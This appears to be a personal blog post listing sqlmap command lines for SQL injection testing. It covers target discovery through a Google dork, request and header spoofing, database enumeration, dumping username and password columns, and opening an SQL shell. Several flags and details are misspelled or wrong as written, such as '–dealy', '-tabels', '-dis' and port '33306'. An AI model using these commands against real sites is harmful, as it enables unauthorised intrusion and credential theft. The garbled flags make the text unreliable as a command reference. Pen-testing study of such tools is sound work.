First write this article is several months ago, now post it on my blog
sqlmap
sqlmap -dis used to connect from your nachine to the database server’s TCP port where the database management system is listening on.
five different SQL injection types:
Bollean-based blind Time-based blind Error-based blind Union query-based Stacked queries
several
- sqlmap.py -u “url”
- sqlmap.py -l burp.log
- sqlmap.py -m 1.txt this is some url write in a text and sqlmap will test
- sqlmap.py -r post_data.txt the txt file is data of post
- sqlmap.py -g “inurl:asp?id” this is google dork
- sqlmap.py -d “mysql//username:[email protected]:33306/databasename”
several kind of requests
- GET sqlmap.py -u “url”
- POST sqlmap.py -r 1.txt
- POST FOR FORM sqlmap -u “url” –forms
- POST sqlmap.py -u “url” –data “age=24”
- COOKIE sqlmap.py -u “url” –cookie “data” –level 2 NOTE:cookie only work when it is level2
- User-Agent sqlmap -u “url” –user-agent=”chrome 55 firefox 50” -v 3
- Referer sqlmap.py -u “url” –referer “http://tieba.baidu.com” -v 3
- Dealy sqlmap.py -u “url” –dealy 10
- Timeout sqlmap.py -u “url” –timeout 10 NOTE:10seconds show timeout, default is 30s
- Retry sqlmap.py -u “url” —retries 10
- Use regex
sqlmap.py -l burp.log -scope="(www)?\.target\.\(com|net|org|cn)" - Avoid too much wrong requests sqlmap.py -u “url” –safe-url “url” get safe url in some time
- Avoid too much wrong requests sqlmap.py -u “url” –safe-freq “url” get safe url every test
- Pamera sqlmap.py -u “http://xxxx.com/id*/45” or sqlmap.py -u “url” -p “id”
- Version of database sqlmap.py -u “url” -b
- sqlmap.py -u “url” –banner
- sqlmap.py -u “url” –current-db
- sqlmap.py -u “url” –current-user
- sqlmap.py -u “url” –users
- sqlmap.py -u “url” –dbs
- sqlmap.py -u “url” -tabels -D “databasename”
- sqlmap.py -u “url” –columns -T “tablesname” -D “databasename”
- sqlmap.py -u “url” –tables -D “databasename” –count
- sqlmap.py -u “url” –dump -C “passwd, username” -T “tablename” -D “databasename”
- sqlmap.py -u “url” –start 1 –stop 3 -T “tablename” -D “databasename”
- sqlmap.py -u “url” –first 1 –last 5
- Get all the database sqlmap.py -u “url” –dump-all
- Get all the database sqlmap.py -u “url” –dump-all –exclude-sysdbs Note:only get user database, bot system dbs
- sqlmap.py -u “url” –sql-shell
- sqlmap.py -u “url” –sql-query “select * from admin”
- sqlmap.py -u “url” –search -D test NOTE:to search database name or -T -C
- sqlmap.py -u “url” –schema NOTE:to show the constract of database
- sqlmap.py -u “url” –exclude-sysdbs avoid system dbs
